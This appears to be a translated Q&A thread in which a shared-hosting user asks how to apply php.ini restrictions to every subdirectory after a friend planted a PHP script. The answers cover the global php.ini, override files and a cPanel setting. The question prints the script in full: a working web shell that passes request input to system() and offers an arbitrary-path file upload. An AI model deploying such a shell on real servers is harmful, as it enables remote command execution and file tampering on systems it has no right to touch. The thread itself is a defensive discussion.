如何启用我的php.ini文件来影响我服务器的所有目录/子目录?

时间:2008-10-18 02:30:12

标签: security php

几周前,我在共享服务器上打开了一个洞,我的朋友上传了以下PHP脚本:

<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>

<?php
if(isset($_REQUEST['upload'])) {
    echo '<form enctype="multipart/form-data" action=".config.php?send" method="POST">
        <input type="hidden" name="MAX_FILE_SIZE" value="5120000" />
        Send this file: <input name="userfile" type="file" />
        To here: <input type="text" name="direct" value="/home/chriskan/public_html/_phx2600/wp-content/???" />
        <input type="submit" value="Send File" />
    </form>';
}
?>

<?php
if(isset($_REQUEST['send'])) {
    $uploaddir = $_POST["direct"];
    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

    if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
        echo "File is valid, and was successfully uploaded.\n"; echo $uploaddir;
    } else {
        echo "Upload failed";
    }
}
?>

此脚本允许他通过URL变量处理命令。

我在public_html目录的php.ini文件中禁用了系统以及其他功能。如果脚本位于我的public_html目录中,这将阻止脚本运行,但如果脚本位于其子目录中,则不会停止脚本。如果我将php.ini文件复制到子目录中,它将阻止它从该目录运行。

我的问题是,如何启用我的php.ini文件来影响我服务器的所有目录/子目录?

4 个答案:

答案 0 :(得分:1)

一,开始选择像这样运行脚本的“朋友”。

然后担心保护您的服务器。你的系统在某处有一个主php.ini(通常是/etc/php.ini,但如果可以在几个地方,请检查php_info())。该文件控制服务器的默认设置。此外,您可以阻止允许覆盖的本地设置文件。

答案 1 :(得分:1)

哇!在每个目录的基础上移动php.ini文件?不知道你能做到这一点。

我最好的猜测(有人请纠正我,如果我错了),php可能会在每个目录的基础上覆盖全局php.ini文件和一组本地规则(很像.htaccess),所以基本上你只需要要做的是将你的php.ini指令更新为全局php.ini(在ubuntu中找到:etc / php5 / apache2 / php.ini)

或者,您可能希望尝试使用.htaccess在所有页面上添加php页面,其中包含以下内容:

ini_set('your_directive')

当然,确保调用prepend php的.htaccess位于root,否则你会遇到同样的问题。

/ MP

答案 2 :(得分:0)

谢谢大家,你的答案很棒,但答案一直都在我的鼻子底下。通过cPanel,我能够编辑我的服务器以使用单个php.ini文件。

答案 3 :(得分:0)

你确定吗?我希望我有你的ISP。默认情况下,某些 ISP将在public_html中提供ini文件的本地副本以允许覆盖。但是cPanel通常只提供服务器范围默认值的引用。